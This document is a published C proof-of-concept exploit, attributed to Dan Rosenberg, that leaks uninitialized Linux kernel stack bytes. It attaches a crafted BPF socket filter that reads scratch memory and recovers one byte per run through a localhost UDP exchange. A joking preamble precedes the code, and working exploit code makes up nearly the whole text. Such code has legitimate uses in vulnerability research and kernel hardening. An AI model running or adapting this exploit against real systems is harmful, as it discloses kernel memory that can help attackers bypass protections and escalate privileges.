Linux Kernel 2.4.0 – Stack Infoleaks
//Enjoy... // //-Dan /* * You've done it. After hours of gdb and caffeine, you've finally got a shell * on your target's server. Maybe next time they will think twice about * running MyFirstCompSciProjectFTPD on a production machine. As you take * another sip of Mountain Dew and pick some of the cheetos out of your beard, * you begin to plan your next move - it's time to tackle the kernel. * * What should be your goal? Privilege escalation? That's impossible, there's * no such thing as a privilege escalation vulnerability on Linux. Denial of * service? What are you, some kind of script kiddie? No, the answer is * obvious. You must read the uninitialized bytes of the kernel stack, since * these bytes contain all the secrets of the universe and the meaning of life. * * How can you accomplish this insidious feat? You immediately discard the * notion of looking for uninitialized struct members that are copied back to * userspace, since you clearly need something far more elite. In order to * prove your superiority, your exploit must be as sophisticated as your taste * in obscure electronic music. After scanning the kernel source for good * candidates, you find your target and begin to code... * * by Dan Rosenberg * * Greets to kees, taviso, jono, spender, hawkes, and bla * */ #include <string.h> #include <stdio.h> #include <netinet/in.h> #include <sys/socket.h> #include <unistd.h> #include <stdlib.h> #include <linux/filter.h> #define PORT 37337 int transfer(int sendsock, int recvsock) { struct sockaddr_in addr; char buf[512]; int len = sizeof(addr); memset(buf, 0, sizeof(buf)); if (fork()) return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr, &len); sleep(1); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len); exit(0); } int main(int argc, char * argv[]) { int sendsock, recvsock, ret; unsigned int val; struct sockaddr_in addr; struct sock_fprog fprog; struct sock_filter filters[5]; if (argc != 2) { printf("[*] Usage: %s offset (0-63)\n", argv[0]); return -1; } val = atoi(argv[1]); if (val > 63) { printf("[*] Invalid byte offset (must be 0-63)\n"); return -1; } recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (recvsock < 0 || sendsock < 0) { printf("[*] Could not create sockets.\n"); return -1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { printf("[*] Could not bind socket.\n"); return -1; } memset(&fprog, 0, sizeof(fprog)); memset(filters, 0, sizeof(filters)); filters[0].code = BPF_LD|BPF_MEM; filters[0].k = (val & ~0x3) / 4; filters[1].code = BPF_ALU|BPF_AND|BPF_K; filters[1].k = 0xff << ((val % 4) * 8); filters[2].code = BPF_ALU|BPF_RSH|BPF_K; filters[2].k = (val % 4) * 8; filters[3].code = BPF_ALU|BPF_ADD|BPF_K; filters[3].k = 256; filters[4].code = BPF_RET|BPF_A; fprog.len = 5; fprog.filter = filters; if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)) < 0) { printf("[*] Failed to install filter.\n"); return -1; } ret = transfer(sendsock, recvsock); printf("[*] Your byte: 0x%.02x\n", ret - 248); } |